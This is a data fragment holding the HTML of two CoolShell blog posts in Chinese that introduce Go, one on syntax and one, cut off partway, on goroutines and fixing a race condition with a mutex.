    "content": "<html><body><p>周末天气不好，只能宅在家里，于是就顺便看了一下Go语言，觉得比较有意思，所以写篇文章介绍一下。<strong>我想写一篇你可以在乘坐地铁或公交车上下班时就可以初步了解一门语言的文章</strong>。所以，下面的文章主要是以代码和注释为主。只需要你对C语言，Unix，Python有一点基础，我相信你会在30分钟左右读完并对Go语言有一些初步了解的。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-8485\" height=\"255\" src=\"../wp-content/uploads/2012/11/go2.jpg\" title=\"go\" width=\"435\"/></p>\n<h4>Hello World</h4>\n<pre class=\"EnlighterJSRAW\">\n//文件名：hello.go\npackage main //声明本文件的package名\n\nimport \"fmt\" //import语言的fmt库——用于输出\n\nfunc main() {\n    fmt.Println(\"hello world\")\n}</pre>\n<p><span id=\"more-8460\"></span></p>\n<h4>运行</h4>\n<p>你可以有两种运行方式，</p>\n<pre class=\"EnlighterJSRAW\">\n#解释执行（实际是编译成a.out再执行）\n$go run hello.go\nhello world\n\n#编译执行\n$go build hello.go\n\n$ls\nhello hello.go\n\n$./hello\nhello world</pre>\n<h4>自己的package</h4>\n<p>你可以使用GOPATH环境变量，或是使用相对路径来import你自己的package。</p>\n<p>Go的规约是这样的：</p>\n<p style=\"padding-left: 30px;\">1）<strong>在import中，你可以使用相对路径，如 ./或 ../ 来引用你的package</strong></p>\n<p style=\"padding-left: 30px;\">2）<strong>如果没有使用相对路径，那么，go会去找$GOPATH/src/目录。</strong></p>\n<pre class=\"EnlighterJSRAW\">\n//使用相对路径\nimport \"./haoel\"  //import当前目录里haoel子目录里的所有的go文件\n</pre>\n<pre class=\"EnlighterJSRAW\">\n//使用GOPATH路径\nimport \"haoel\"  //import 环境变量 $GOPATH/src/haoel子目录里的所有的go文件\n</pre>\n<h4>fmt输出格式</h4>\n<p>fmt包和libc里的那堆使用printf， scanf，fprintf，fscanf 很相似。下面的东西对于C程序员不会陌生。</p>\n<p>注意：Println不支持，Printf才支持%式的输出：</p>\n<pre class=\"EnlighterJSRAW\">\npackage main\n\nimport \"fmt\"\nimport \"math\"\n\nfunc main() {\n    fmt.Println(\"hello world\")\n\n    fmt.Printf(\"%t\\n\", 1==2)\n    fmt.Printf(\"二进制：%b\\n\", 255)\n    fmt.Printf(\"八进制：%o\\n\", 255)\n    fmt.Printf(\"十六进制：%X\\n\", 255)\n    fmt.Printf(\"十进制：%d\\n\", 255)\n    fmt.Printf(\"浮点数：%f\\n\", math.Pi)\n    fmt.Printf(\"字符串：%s\\n\", \"hello world\")\n}</pre>\n<p>当然，也可以使用如\\n\\t\\r这样的和C语言一样的控制字符</p>\n<h4>变量和常量</h4>\n<p>变量的声明很像 javascript，使用 var关键字。注意：<strong>go是静态类型的语言</strong>，下面是代码：</p>\n<pre class=\"EnlighterJSRAW\">\n//声明初始化一个变量\nvar  x int = 100\nvar str string = \"hello world\"&lt;/pre&gt;\n//声明初始化多个变量\nvar  i, j, k int = 1, 2, 3\n\n//不用指明类型，通过初始化值来推导\nvar b = true //bool型\n</pre>\n<p>还有一种定义变量的方式（这让我想到了Pascal语言，但完全不一样）</p>\n<pre class=\"EnlighterJSRAW\">\nx := 100 //等价于 var x int = 100;\n</pre>\n<p>常量很简单，使用const关键字：</p>\n<pre class=\"EnlighterJSRAW\">\nconst s string = \"hello world\"\nconst pi float32 = 3.1415926\n</pre>\n<h4>数组</h4>\n<p>直接看代码（注意其中的for语句，和C很相似吧，就是没有括号了）</p>\n<pre class=\"EnlighterJSRAW\">\nfunc main() {\n    var a [5]int\n    fmt.Println(\"array a:\", a)\n\n    a[1] = 10\n    a[3] = 30\n    fmt.Println(\"assign:\", a)\n\n    fmt.Println(\"len:\", len(a))\n\n    b := [5]int{1, 2, 3, 4, 5}\n    fmt.Println(\"init:\", b)\n\n    var c [2][3]int\n    for i := 0; i &lt; 2; i++ {\n        for j := 0; j &lt; 3; j++ {\n            c[i][j] = i + j\n        }\n    }\n    fmt.Println(\"2d: \", c)\n}\n</pre>\n<p>运行结果：</p>\n<pre class=\"EnlighterJSRAW\">\n\narray a: [0 0 0 0 0]\nassign: [0 10 0 30 0]\nlen: 5\ninit: [1 2 3 4 5]\n2d:  [[0 1 2] [1 2 3]]\n\n</pre>\n<h4>数组的切片操作</h4>\n<p>这个很Python了。</p>\n<pre class=\"EnlighterJSRAW\">\n\na := [5]int{1, 2, 3, 4, 5}\n\nb := a[2:4] // a[2] 和 a[3]，但不包括a[4]\nfmt.Println(b)\n\nb = a[:4] // 从 a[0]到a[4]，但不包括a[4]\nfmt.Println(b)\n\nb = a[2:] // 从 a[2]到a[4]，且包括a[2]\nfmt.Println(b)\n\n</pre>\n<p><strong>但是，我们要记住，Golang的切片是共享内存的，也就是说，没有数据的复制，只是记录从哪切到哪的信息。</strong></p>\n<h4>分支循环语句</h4>\n<p><strong>if语句</strong></p>\n<p>注意：if 语句没有圆括号，而必需要有花括号</p>\n<pre class=\"EnlighterJSRAW\">\n//if 语句\nif x % 2 == 0 {\n    //...\n}\n//if - else\nif x % 2 == 0 {\n    //偶数...\n} else {\n    //奇数...\n}\n\n//多分支\nif num &lt; 0 {\n    //负数\n} else if num == 0 {\n    //零\n} else {\n    //正数\n}\n</pre>\n<p><strong>switch 语句</strong></p>\n<p>注意：switch语句没有break，还可以使用逗号case多个值</p>\n<pre class=\"EnlighterJSRAW\">\nswitch i {\n    case 1:\n        fmt.Println(\"one\")\n    case 2:\n        fmt.Println(\"two\")\n    case 3:\n        fmt.Println(\"three\")\n    case 4,5,6:\n        fmt.Println(\"four, five, six\")\n    default:\n        fmt.Println(\"invalid value!\")\n}\n</pre>\n<p><strong>for 语句</strong></p>\n<p>前面你已见过了，下面再来看看for的三种形式：（注意：Go语言中没有while）</p>\n<pre class=\"EnlighterJSRAW\">\n//经典的for语句 init; condition; post\nfor i := 0; i&lt;10; i++{\n     fmt.Println(i)\n}\n\n//精简的for语句 condition\ni := 1\nfor i&lt;10 {\n    fmt.Println(i)\n    i++\n}\n\n//死循环的for语句 相当于for(;;)\ni :=1\nfor {\n    if i&gt;10 {\n        break\n    }\n    i++\n}\n</pre>\n<h4>关于分号</h4>\n<p>从上面的代码我们可以看到代码里没有分号。其实，<strong>和C一样，Go的正式的语法使用分号来终止语句。和C不同的是，这些分号由词法分析器在扫描源代码过程中使用简单的规则自动插入分号，因此输入源代码多数时候就不需要分号了</strong>。</p>\n<p>规则是这样的：如果在一个新行前方的最后一个标记是一个标识符（包括像<code>int</code>和<code>float64</code>这样的单词）、一个基本的如数值这样的文字、或以下标记中的一个时，会自动插入分号：</p>\n<pre>break continue fallthrough return ++ -- ) }</pre>\n<p>通常Go程序仅在<code>for</code>循环语句中使用分号，以此来分开初始化器、条件和增量单元。如果你在一行中写多个语句，也需要用分号分开。</p>\n<p><strong>注意</strong>：<strong>无论任何时候，你都不应该将一个控制结构（(<code>if</code>、<code>for</code>、<code>switch</code>或<code>select</code>）的左大括号放在下一行。如果这样做，将会在大括号的前方插入一个分号，这可能导致出现不想要的结果</strong>。</p>\n<h4>map</h4>\n<p>map在别的语言里可能叫哈希表或叫dict，下面是和map的相关操作的代码，代码很容易懂</p>\n<pre class=\"EnlighterJSRAW\">\nfunc main(){\n    m := make(map[string]int) //使用make创建一个空的map\n\n    m[\"one\"] = 1\n    m[\"two\"] = 2\n    m[\"three\"] = 3\n\n    fmt.Println(m) //输出 map[three:3 two:2 one:1] (顺序在运行时可能不一样)\n    fmt.Println(len(m)) //输出 3\n\n    v := m[\"two\"] //从map里取值\n    fmt.Println(v) // 输出 2\n\n    delete(m, \"two\")\n    fmt.Println(m) //输出 map[three:3 one:1]\n\n    m1 := map[string]int{\"one\": 1, \"two\": 2, \"three\": 3}\n    fmt.Println(m1) //输出 map[two:2 three:3 one:1] (顺序在运行时可能不一样)\n\n    for key, val := range m1{\n        fmt.Printf(\"%s =&gt; %d \\n\", key, val)\n        /*输出：(顺序在运行时可能不一样)\n            three =&gt; 3\n            one =&gt; 1\n            two =&gt; 2*/\n    }\n}\n</pre>\n<h4>指针</h4>\n<p>Go语言一样有指针，看代码</p>\n<pre class=\"EnlighterJSRAW\">\n\nvar i int = 1\nvar pInt *int = &amp;i\n//输出：i=1     pInt=0xf8400371b0       *pInt=1\nfmt.Printf(\"i=%d\\tpInt=%p\\t*pInt=%d\\n\", i, pInt, *pInt)\n\n*pInt = 2\n//输出：i=2     pInt=0xf8400371b0       *pInt=2\nfmt.Printf(\"i=%d\\tpInt=%p\\t*pInt=%d\\n\", i, pInt, *pInt)\n\ni = 3\n//输出：i=3     pInt=0xf8400371b0       *pInt=3\nfmt.Printf(\"i=%d\\tpInt=%p\\t*pInt=%d\\n\", i, pInt, *pInt)\n\n</pre>\n<p>Go具有两个分配内存的机制，分别是内建的函数new和make。他们所做的事不同，所应用到的类型也不同，这可能引起混淆，但规则却很简单。</p>\n<h4><strong>内存分配 </strong></h4>\n<p><strong>new</strong> 是一个分配内存的内建函数，但不同于其他语言中同名的new所作的工作，<strong>它只是将内存清零，而不是初始化内存</strong>。new(T)为一个类型为T的新项目分配了值为零的存储空间并返回其地址，也就是一个类型为*T的值。用Go的术语来说，就是<strong>它返回了一个指向新分配的类型为T的零值的指针</strong>。</p>\n<p><code><strong>make</strong>(T, </code><em>args</em><code>)</code>函数的目的与<code>new(T)</code>不同。它仅用于创建切片、map和chan（消息管道），并返回类型<code>T</code>（不是<code>*T</code>）的一个<strong>被初始化了的</strong>（不是<strong>零</strong>）实例。这种差别的出现是由于这三种类型实质上是对在使用前必须进行初始化的数据结构的引用。例如，切片是一个具有三项内容的描述符，包括指向数据（在一个数组内部）的指针、长度以及容量，在这三项内容被初始化之前，切片值为<code>nil</code>。对于切片、映射和信道，<code>make</code>初始化了其内部的数据结构并准备了将要使用的值。如：</p>\n<p>下面的代码分配了一个整型数组，长度为10，容量为100，并返回前10个数组的切片</p>\n<pre class=\"EnlighterJSRAW\">make([]int, 10, 100)</pre>\n<p>以下示例说明了<code>new</code>和<code>make</code>的不同。</p>\n<pre class=\"EnlighterJSRAW\">\nvar p *[]int = new([]int)   // 为切片结构分配内存；*p == nil；很少使用\nvar v  []int = make([]int, 10) // 切片v现在是对一个新的有10个整数的数组的引用\n\n// 不必要地使问题复杂化：\nvar p *[]int = new([]int)\nfmt.Println(p) //输出：&amp;[]\n*p = make([]int, 10, 10)\nfmt.Println(p) //输出：&amp;[0 0 0 0 0 0 0 0 0 0]\nfmt.Println((*p)[2]) //输出： 0\n\n// 习惯用法:\nv := make([]int, 10)\nfmt.Println(v) //输出：[0 0 0 0 0 0 0 0 0 0]\n</pre>\n<h4>函数</h4>\n<p>老实说，我对Go语言这种反过来声明变量类型和函数返回值的做法有点不满（保持和C一样的不可以吗? 呵呵）</p>\n<pre class=\"EnlighterJSRAW\">\npackage main\nimport \"fmt\"\n\nfunc max(a int, b int) int { //注意参数和返回值是怎么声明的\n\n    if a &gt; b {\n        return a\n    }\n    return b\n}\n\nfunc main(){\n    fmt.Println(max(4, 5))\n}\n\n</pre>\n<p><strong>函数返回多个值</strong></p>\n<p>Go中很多Package 都会返回两个值，一个是正常值，一个是错误，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\npackage main\nimport \"fmt\"\n\nfunc main(){\n    v, e := multi_ret(\"one\")\n    fmt.Println(v,e) //输出 1 true\n\n    v, e = multi_ret(\"four\")\n    fmt.Println(v,e) //输出 0 false\n\n    //通常的用法(注意分号后有e)\n    if v, e = multi_ret(\"four\"); e {\n        // 正常返回\n    }else{\n        // 出错返回\n    }\n}\n\nfunc multi_ret(key string) (int, bool){\n    m := map[string]int{\"one\": 1, \"two\": 2, \"three\": 3}\n\n    var err bool\n    var val int\n\n    val, err = m[key]\n\n    return val, err\n}\n</pre>\n<p><strong>函数不定参数</strong></p>\n<p>例子很清楚了，我就不多说了</p>\n<pre class=\"EnlighterJSRAW\">\nfunc sum(nums ...int) {\n    fmt.Print(nums, \" \")  //输出如 [1, 2, 3] 之类的数组\n    total := 0\n    for _, num := range nums { //要的是值而不是下标\n        total += num\n    }\n    fmt.Println(total)\n}\nfunc main() {\n    sum(1, 2)\n    sum(1, 2, 3)\n\n    //传数组\n    nums := []int{1, 2, 3, 4}\n    sum(nums...)\n}</pre>\n<p><strong>函数闭包</strong></p>\n<p>nextNum这个函数返回了一个匿名函数，这个匿名函数记住了nextNum中i+j的值，并改变了i,j的值，于是形成了一个闭包的用法</p>\n<pre class=\"EnlighterJSRAW\">\nfunc nextNum() func() int {\n    i,j := 1,1\n    return func() int {\n        var tmp = i+j\n        i, j = j, tmp\n        return tmp\n    }\n}\n//main函数中是对nextNum的调用，其主要是打出下一个斐波拉契数\nfunc main(){\n    nextNumFunc := nextNum()\n    for i:=0; i&lt;10; i++ {\n        fmt.Println(nextNumFunc())\n    }\n}\n</pre>\n<p><strong>函数的递归</strong></p>\n<p>和c基本是一样的</p>\n<pre class=\"EnlighterJSRAW\">\nfunc fact(n int) int {\n    if n == 0 {\n        return 1\n    }\n    return n * fact(n-1)\n}\n\nfunc main() {\n    fmt.Println(fact(7))\n}</pre>\n<h4>结构体</h4>\n<p>Go的结构体和C的基本上一样，不过在初始化时有些不一样，Go支持带名字的初始化。</p>\n<pre class=\"EnlighterJSRAW\">\ntype Person struct {\n    name string\n    age  int\n    email string\n}\n\nfunc main() {\n    //初始化\n    person := Person{\"Tom\", 30, \"tom@gmail.com\"}\n    person = Person{name:\"Tom\", age: 30, email:\"tom@gmail.com\"}\n\n    fmt.Println(person) //输出 {Tom 30 tom@gmail.com}\n\n    pPerson := &amp;person\n\n    fmt.Println(pPerson) //输出 &amp;{Tom 30 tom@gmail.com}\n\n    pPerson.age = 40\n    person.name = \"Jerry\"\n    fmt.Println(person) //输出 {Jerry 40 tom@gmail.com}\n}\n</pre>\n<h4>结构体方法</h4>\n<p>不多说了，看代码吧。</p>\n<p>注意：Go语言中没有public, protected, private的关键字，所以，<strong>如果你想让一个方法可以被别的包访问的话，你需要把这个方法的第一个字母大写。这是一种约定</strong>。</p>\n<pre class=\"EnlighterJSRAW\">\ntype rect struct {\n    width, height int\n}\n\nfunc (r *rect) area() int { //求面积\n    return r.width * r.height\n}\n\nfunc (r *rect) perimeter() int{ //求周长\n    return 2*(r.width + r.height)\n}\n\nfunc main() {\n    r := rect{width: 10, height: 15}\n\n    fmt.Println(\"面积: \", r.area())\n    fmt.Println(\"周长: \", r.perimeter())\n\n    rp := &amp;r\n    fmt.Println(\"面积: \", rp.area())\n    fmt.Println(\"周长: \", rp.perimeter())\n}\n</pre>\n<h4>接口和多态</h4>\n<p>接口意味着多态，下面是一个经典的例子，不用多说了，自己看代码吧。</p>\n<pre class=\"EnlighterJSRAW\">\n//---------- 接 口 --------//\ntype shape interface {\n    area() float64 //计算面积\n    perimeter() float64 //计算周长\n}\n\n//--------- 长方形 ----------//\ntype rect struct {\n    width, height float64\n}\n\nfunc (r *rect) area() float64 { //面积\n    return r.width * r.height\n}\n\nfunc (r *rect) perimeter() float64 { //周长\n    return 2*(r.width + r.height)\n}\n\n//----------- 圆  形 ----------//\ntype circle struct {\n    radius float64\n}\n\nfunc (c *circle) area() float64 { //面积\n    return math.Pi * c.radius * c.radius\n}\n\nfunc (c *circle) perimeter() float64 { //周长\n    return 2 * math.Pi * c.radius\n}\n\n// ----------- 接口的使用 -----------//\nfunc interface_test() {\n    r := rect {width:2.9, height:4.8}\n    c := circle {radius:4.3}\n\n    s := []shape{&amp;r, &amp;c} //通过指针实现\n\n    for _, sh := range s {\n        fmt.Println(sh)\n        fmt.Println(sh.area())\n        fmt.Println(sh.perimeter())\n    }\n}\n</pre>\n<h4>错误处理 – Error接口</h4>\n<p>函数错误返回可能是C/C++时最让人纠结的东西的，Go的多值返回可以让我们更容易的返回错误，其可以在返回一个常规的返回值之外，还能轻易地返回一个详细的错误描述。通常情况下，错误的类型是error，它有一个内建的接口。</p>\n<pre class=\"EnlighterJSRAW\">type error interface {\n    Error() string\n}</pre>\n<p>还是看个示例吧：</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"fmt\"\nimport \"errors\"\n\n//自定义的出错结构\ntype myError struct {\n    arg  int\n    errMsg string\n}\n//实现Error接口\nfunc (e *myError) Error() string {\n    return fmt.Sprintf(\"%d - %s\", e.arg, e.errMsg)\n}\n\n//两种出错\nfunc error_test(arg int) (int, error) {\n    if arg &lt; 0  {\n         return -1, errors.New(\"Bad Arguments - negtive!\")\n     }else if arg &gt;256 {\n        return -1, &amp;myError{arg, \"Bad Arguments - too large!\"}\n    }\n    return arg*arg, nil\n}\n\n//相关的测试\nfunc main() {\n    for _, i := range []int{-1, 4, 1000} {\n        if r, e := error_test(i); e != nil {\n            fmt.Println(\"failed:\", e)\n        } else {\n            fmt.Println(\"success:\", r)\n        }\n    }\n}</pre>\n<p>程序运行后输出：</p>\n<pre class=\"EnlighterJSRAW\">\nfailed: Bad Arguments - negtive!\nsuccess: 16\nfailed: 1000 - Bad Arguments - too large!\n</pre>\n<h4>错误处理 – Defer</h4>\n<p>下面的程序对于每一个熟悉C语言的人来说都不陌生（有资源泄露的问题），C++使用RAII来解决这种问题。</p>\n<pre class=\"EnlighterJSRAW\">\nfunc CopyFile(dstName, srcName string) (written int64, err error) {\n    src, err := os.Open(srcName)\n    if err != nil {\n        return\n    }\n\n    dst, err := os.Create(dstName)\n    if err != nil {\n        return\n    }\n\n    written, err = io.Copy(dst, src)\n    dst.Close()\n    src.Close()\n    return\n}</pre>\n<p>Go语言引入了Defer来确保那些被打开的文件能被关闭。如下所示：（这种解决方式还是比较优雅的）</p>\n<p>&lt;</p>\n<p>pre class=”EnlighterJSRAW” data-enlighter-language=”golang” data-enlighter-highlight=”6,12″&gt;<br/>\nfunc CopyFile(dstName, srcName string) (written int64, err error) {<br/>\n    src, err := os.Open(srcName)<br/>\n    if err != nil {<br/>\n        return<br/>\n    }<br/>\n    defer src.Close()</p>\n<pre><code>dst, err := os.Create(dstName)\nif err != nil {\n    return\n}\ndefer dst.Close()\n\nreturn io.Copy(dst, src)\n</code></pre>\n<p>}[/c]</p>\n<p>Go的defer语句预设一个函数调用（延期的函数），该调用在函数执行defer返回时立刻运行。该方法显得不同常规，但却是处理上述情况很有效，无论函数怎样返回，都必须进行资源释放。</p>\n<p>我们再来看一个defer函数的示例：</p>\n<pre class=\"EnlighterJSRAW\">\nfor i := 0; i &lt; 5; i++ {\n    defer fmt.Printf(\"%d \", i)\n}</pre>\n<p>被延期的函数以后进先出（LIFO）的顺行执行，因此以上代码在返回时将打印4 3 2 1 0。</p>\n<p>总之，我个人觉得defer的函数行为有点怪异，我现在还没有完全搞清楚。</p>\n<h4>错误处理 – Panic/Recover</h4>\n<p>对于不可恢复的错误，Go提供了一个内建的panic函数，它将创建一个运行时错误并使程序停止（相当暴力）。该函数接收一个任意类型（往往是字符串）作为程序死亡时要打印的东西。当编译器在函数的结尾处检查到一个panic时，就会停止进行常规的return语句检查。</p>\n<p>下面的仅仅是一个示例。实际的库函数应避免panic。如果问题可以容忍，最好是让事情继续下去而不是终止整个程序。</p>\n<pre class=\"EnlighterJSRAW\">\nvar user = os.Getenv(\"USER\")\n\nfunc init() {\n    if user == \"\" {\n        panic(\"no value for $USER\")\n    }\n}</pre>\n<p>当panic被调用时，它将立即停止当前函数的执行并开始逐级解开函数堆栈，同时运行所有被defer的函数。如果这种解开达到堆栈的顶端，程序就死亡了。但是，也可以使用内建的recover函数来重新获得Go程的控制权并恢复正常的执行。 对recover的调用会通知解开堆栈并返回传递到panic的参量。由于仅在解开期间运行的代码处在被defer的函数之内，recover仅在被延期的函数内部才是有用的。</p>\n<p>你可以简单地理解为recover就是用来捕捉Painc的，防止程序一下子就挂掉了。</p>\n<p>下面是一个例程，很简单了，不解释了</p>\n<pre class=\"EnlighterJSRAW\">\nfunc g(i int) {\n    if i&gt;1 {\n        fmt.Println(\"Panic!\")\n        panic(fmt.Sprintf(\"%v\", i))\n    }\n\n}\n\nfunc f() {\n    defer func() {\n        if r := recover(); r != nil {\n            fmt.Println(\"Recovered in f\", r)\n        }\n    }()\n\n    for i := 0; i &lt; 4; i++ {\n        fmt.Println(\"Calling g with \", i)\n        g(i)\n        fmt.Println(\"Returned normally from g.\")\n     }\n}\n\nfunc main() {\n    f()\n    fmt.Println(\"Returned normally from f.\")\n}</pre>\n<p>运行结果如下：（我们可以看到Painc后的for循环就没有往下执行了，但是main的程序还在往下走）</p>\n<pre class=\"EnlighterJSRAW\">\nCalling g with  0\nReturned normally from g.\nCalling g with  1\nReturned normally from g.\nCalling g with  2\nPanic!\nRecovered in f 2\nReturned normally from f.\n</pre>\n<p>你习惯这种编程方式吗？我觉得有点诡异。呵呵。</p>\n<p>好了，上面是是一Go语言相关的编程语法的介绍，我没有事无巨细，只是让你了解一下Go语言是长什么样的。<strong>当然，这还没完，请期待下篇——Go语言的特性</strong>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8460.html\">Go 语言简介（上）— 语法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-11-7 Go 语言简介（下）— 特性.html",
    "content": "<html><body><p>希望你看到这篇文章的时候还是在公交车和地铁上正在上下班的时间，我希望我的这篇文章可以让你利用这段时间了解一门语言。当然，希望你不会因为看我的文章而错过站。呵呵。</p>\n<p>如果你还不了解Go语言的语法，还请你移步先看一下上篇——《<strong><a href=\"https://coolshell.cn/articles/8460.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"Go语言简介（上）：语法\">Go语言简介（上）：语法</a></strong>》</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-8531\" height=\"272\" src=\"../wp-content/uploads/2012/11/google-go-language.jpg\" title=\"google-go-language\" width=\"450\"/></p>\n<h4>goroutine</h4>\n<p>GoRoutine主要是使用go关键字来调用函数，你还可以使用匿名函数，如下所示：</p>\n<p><span id=\"more-8489\"></span></p>\n<pre class=\"EnlighterJSRAW\">package main\nimport \"fmt\"\n\nfunc f(msg string) {\n    fmt.Println(msg)\n}\n\nfunc main(){\n    go f(\"goroutine\")\n\n    go func(msg string) {\n        fmt.Println(msg)\n    }(\"going\")\n}</pre>\n<p>我们再来看一个示例，下面的代码中包括很多内容，包括时间处理，随机数处理，还有goroutine的代码。如果你熟悉C语言，你应该会很容易理解下面的代码。</p>\n<p>你可以简单的把go关键字调用的函数想像成pthread_create。下面的代码使用for循环创建了3个线程，每个线程使用一个随机的Sleep时间，然后在routine()函数中会输出一些线程执行的时间信息。</p>\n<pre class=\"EnlighterJSRAW\">\npackage main\n\nimport \"fmt\"\nimport \"time\"\nimport \"math/rand\"\n\nfunc routine(name string, delay time.Duration) {\n\n    t0 := time.Now()\n    fmt.Println(name, \" start at \", t0)\n\n    time.Sleep(delay)\n\n    t1 := time.Now()\n    fmt.Println(name, \" end at \", t1)\n\n    fmt.Println(name, \" lasted \", t1.Sub(t0))\n}\n\nfunc main() {\n\n    //生成随机种子\n    rand.Seed(time.Now().Unix())\n\n    var name string\n    for i:=0; i&lt;3; i++{\n        name = fmt.Sprintf(\"go_%02d\", i) //生成ID\n        //生成随机等待时间，从0-4秒\n        go routine(name, time.Duration(rand.Intn(5)) * time.Second)\n    }\n\n    //让主进程停住，不然主进程退了，goroutine也就退了\n    var input string\n    fmt.Scanln(&amp;input)\n    fmt.Println(\"done\")\n}\n</pre>\n<p>运行的结果可能是：</p>\n<pre class=\"EnlighterJSRAW\">\ngo_00  start at  2012-11-04 19:46:35.8974894 +0800 +0800\ngo_01  start at  2012-11-04 19:46:35.8974894 +0800 +0800\ngo_02  start at  2012-11-04 19:46:35.8974894 +0800 +0800\ngo_01  end at  2012-11-04 19:46:36.8975894 +0800 +0800\ngo_01  lasted  1.0001s\ngo_02  end at  2012-11-04 19:46:38.8987895 +0800 +0800\ngo_02  lasted  3.0013001s\ngo_00  end at  2012-11-04 19:46:39.8978894 +0800 +0800\ngo_00  lasted  4.0004s\n</pre>\n<h4>goroutine的并发安全性</h4>\n<p>关于goroutine，我试了一下，无论是Windows还是Linux，基本上来说是用操作系统的线程来实现的。不过，goroutine有个特性，也就是说，<strong>如果一个goroutine没有被阻塞，那么别的goroutine就不会得到执行</strong>。这并不是真正的并发，如果你要真正的并发，你需要在你的main函数的第一行加上下面的这段代码：</p>\n<pre class=\"EnlighterJSRAW\">import \"runtime\"\n...\nruntime.GOMAXPROCS(4)</pre>\n<p>还是让我们来看一个有并发安全性问题的示例（注意：我使用了C的方式来写这段Go的程序）</p>\n<p>这是一个经常出现在教科书里卖票的例子，我启了5个goroutine来卖票，卖票的函数sell_tickets很简单，就是随机的sleep一下，然后对全局变量total_tickets作减一操作。</p>\n<pre class=\"EnlighterJSRAW\">\npackage main\n\nimport \"fmt\"\nimport \"time\"\nimport \"math/rand\"\nimport \"runtime\"\n\nvar total_tickets int32 = 10;\n\nfunc sell_tickets(i int){\n    for{\n        if total_tickets &gt; 0 { //如果有票就卖\n            time.Sleep( time.Duration(rand.Intn(5)) * time.Millisecond)\n            total_tickets-- //卖一张票\n            fmt.Println(\"id:\", i, \"  ticket:\", total_tickets)\n        }else{\n            break\n        }\n    }\n}\n\nfunc main() {\n    runtime.GOMAXPROCS(4) //我的电脑是4核处理器，所以我设置了4\n    rand.Seed(time.Now().Unix()) //生成随机种子\n\n    for i := 0; i &lt; 5; i++ { //并发5个goroutine来卖票\n         go sell_tickets(i)\n    }\n    //等待线程执行完\n    var input string\n    fmt.Scanln(&amp;input)\n    fmt.Println(total_tickets, \"done\") //退出时打印还有多少票\n}</pre>\n<p>这个程序毋庸置疑有并发安全性问题，所以执行起来你会看到下面的结果：</p>\n<pre class=\"EnlighterJSRAW\">\n$go run sell_tickets.go\nid: 0   ticket: 9  \nid: 0   ticket: 8  \nid: 4   ticket: 7  \nid: 1   ticket: 6  \nid: 3   ticket: 5  \nid: 0   ticket: 4  \nid: 3   ticket: 3  \nid: 2   ticket: 2  \nid: 0   ticket: 1  \nid: 3   ticket: 0  \nid: 1   ticket: -1  \nid: 4   ticket: -2  \nid: 2   ticket: -3  \nid: 0   ticket: -4  \n-4 done</pre>\n<p>可见，我们需要使用上锁，我们可以使用互斥量来解决这个问题。下面的代码，我只列出了修改过的内容：</p>\n<pre class=\"EnlighterJSRAW\"> package main\nimport \"fmt\"\nimport \"time\"\nimport \"math/rand\"\nimport \"sync\"\nimport \"runtime\"\n\nvar total_tickets int32 = 10;\nvar mutex = &amp;sync.Mutex{} //可简写成：var mutex sync.Mutex\n\nfunc sell_tickets(i int){\n    for total_tickets&gt;0 {\n        mutex.Lock()\n        if total_tickets &gt; 0 {\n            time.Sleep( time.Duration(rand.Intn(5)) * time.Millisecond)\n            total_tickets--\n            fmt.Println(i, total_tickets)\n        